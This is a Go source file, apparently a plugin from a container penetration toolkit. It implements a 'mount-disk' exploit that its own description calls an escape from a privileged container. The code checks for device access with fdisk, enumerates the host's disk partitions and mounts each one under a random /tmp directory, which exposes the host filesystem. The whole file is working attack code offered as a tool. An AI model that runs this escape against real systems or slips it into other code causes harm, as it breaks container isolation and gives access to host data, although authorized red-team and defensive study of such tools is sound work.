package exploit

import (
	"bytes"
	"encoding/json"
	"fmt"
	"github.com/Xyntax/CDK/pkg/lib"
	"github.com/Xyntax/CDK/pkg/util"
	"github.com/shirou/gopsutil/v3/disk"
	"log"
	"os"
	"os/exec"
	"regexp"
	"strings"
)

// add this to check if the container have device priv
func CheckFdisk() {
	_, err := exec.LookPath("fdisk")
	if err != nil {
		log.Println("cannot run `fdisk` command on target os")
		return
	}

	cmd := exec.Command("fdisk", "-l")

	var output bytes.Buffer
	cmd.Stdout = &output
	e := cmd.Run()
	if e != nil {
		log.Fatal("run command error :" + e.Error())
	}

	pattern := regexp.MustCompile("(?i)\\n/[^\\n]*linux(\\n|$)")
	params := pattern.FindAllStringSubmatch(output.String(), -1)
	for _, matched := range params {
		fmt.Printf("%s\n", strings.Join(matched, "\n"))

	}
}

// print all device and mount them to random path under /tmp
func AllDiskMount() {
	var devices = []string{}
	infos, _ := disk.Partitions(false)
	for _, info := range infos {
		devices = append(devices, info.Device)
		data, _ := json.MarshalIndent(info, "", "  ")
		fmt.Println(string(data))
	}
	devices = util.RemoveDuplicateElement(devices)
	log.Println("found", len(devices), "devices in total.")
	if len(devices) > 0 {
		for _, device := range devices {
			MountToRandomTarget(device)
		}
	}
}

func MountToRandomTarget(device string) {
	mountDir := fmt.Sprintf("/tmp/cdk_%s", util.RandString(5))
	err := os.MkdirAll(mountDir, os.ModePerm)
	if err != nil {
		log.Fatal("fail to create mount dir in:", mountDir)
	}

	cmd := exec.Command("mount", device, mountDir)

	var output bytes.Buffer
	cmd.Stdout = &output
	e := cmd.Run()
	if e != nil {
		log.Println("mount error. possible reason: target container is not privileged." + e.Error())
		log.Fatal("Exploit failed.")
	}

	fmt.Printf("success! device %s was mounted to %s\n\n", device, mountDir)
}

// plugin interface
type mountDevice struct{}

func (p mountDevice) Desc() string {
	return "escape privileged container via disk mount, usage: `./cdk run mount-disk`"
}
func (p mountDevice) Run() bool {
	AllDiskMount()
	return true
}

func init() {
	plugin := mountDevice{}
	lib.Register("mount-disk", plugin)
}
